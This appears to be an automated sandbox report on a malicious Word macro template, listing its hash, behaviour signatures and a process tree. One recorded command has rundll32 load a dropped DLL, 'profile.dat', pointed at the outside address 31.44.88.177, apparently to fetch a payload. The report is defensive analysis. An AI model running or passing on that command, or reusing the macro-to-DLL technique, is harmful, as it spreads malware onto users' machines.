Analysis

  • max time kernel
    69s
  • max time network
    28s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14/07/2020, 11:29

General

  • Target
    custom_template.dotm
  • Size 66KB
  • Sample200714-d6s6v79cqa
  • SHA256 5766758c51c678d7f26a68947be2352ee091773239c4ffbbd62ed72cfbd8afdf
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 10 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\custom_template.dotm"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Suspicious use of FindShellTrayWindow
    PID:1196
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe "C:\Users\Admin\AppData\Local\Temp\profile.dat",MyExport 31.44.88.177/index.htm
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1504
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\System32\rundll32.exe "C:\Users\Admin\AppData\Local\Temp\profile.dat",MyExport 31.44.88.177/index.htm
        3⤵
        • Loads dropped DLL
        PID:832

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1196-0-0x00000000003BC000-0x00000000003BE000-memory.dmp